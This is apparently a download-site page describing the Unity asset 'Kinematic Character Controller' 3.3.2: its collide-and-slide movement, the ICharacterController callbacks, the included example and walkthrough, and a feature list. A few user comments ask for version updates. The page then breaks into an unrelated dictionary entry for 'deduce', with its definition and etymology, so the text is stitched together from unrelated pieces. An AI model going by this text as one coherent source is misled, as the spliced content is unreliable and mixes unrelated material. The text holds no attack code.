Kinematic Character Controller a relatively low-level character controller solution that is not tied to any specific game genre and is made to be cleanly integrated into any project/architecture with as little friction or bloat as possible. Instead of using rigidbody physics, it uses a "collide and slide" algorithm that makes its movements perfectly fluid, precise and responsive. Note that its "kinematic" nature means that it will not get pushed by forces or rigidbodies automatically. These sorts of interactions have to be explicitly scripted.
Who is it for?
Strong programming and 3D math knowledge are required in order to use this package. This is by no means a "plug-and-play" solution, and it expects you to write your own input, camera, animation and velocity/rotation-handling code. It was made for users who wish to have the full freedom of writing their own game-specific character controllers, but want to have a strong foundation to start with.
How is it used?
You add a "KinematicCharacterMotor" component to your GameObject, and then create your own custom class that implements an ICharacterController interface and assign it to the motor, giving you various "callbacks" from the motor. Examples of these callbacks are: UpdateVelocity, UpdateRotation, IsColliderValidForCollisions, etc.....
What's included?
This package contains:
- The "core" components that users will use to build their own character controllers
- An "example" character controller that's meant to demonstrate the system's capabilities (the one you see in the WebGL demo)
- A "walkthrough", which is a series of tutorials that give examples of how to implement common features such as double-jumping, climbing ladders, swimming, rootmotion, etc....
Main features and caracteristics
- Capsule-based collisions
- Smoothly interpolated movement
- No GC allocations and several Quality/Performance options
- Handles moving on steps
- Ground snapping (does not "launch" off of slopes)
- Gracefully handles common character controller pitfalls such as slowly shrinking corridors, angled corners and concave colliders
- Supports pushing or standing on dynamic rigidbodies
- Support for moving platforms, without requiring any object parenting.
- Supports arbitrary gravity and up direction
- Supports locking physics/movement to a specific plane (useful for 2.5D games)
- Support for ignoring specific collisions
- Made with networking in mind. You can have explicit control over the "ticking" of the character simulation, allowing you to use this package in an authoritative server architecture with re-simulation of inputs.
Asset version: 3.3.2
Download links for «Kinematic Character Controller»:
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 could you update this?
 1. Please add Kinematic Character Controller v3.1.1
 1. Hi!
 Updatet to latest version!


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To deduce is defined as to come up with an answer by logic or by putting pieces of information together.(verb)
An example of deduce is when police figure out who the killer is by looking at information they obtain.
See deduce in Webster's New World College Dictionary
See deduce in American Heritage Dictionary 4
transitive verb de·duced, de·duc·ing, de·duc·es
Origin: Middle English deducen
Origin:, from Latin dēdūcere, to lead away or down
Origin: : dē-, deOrigin: + dūcere, to lead; see deukin Indo-European roots.
Learn more about deduce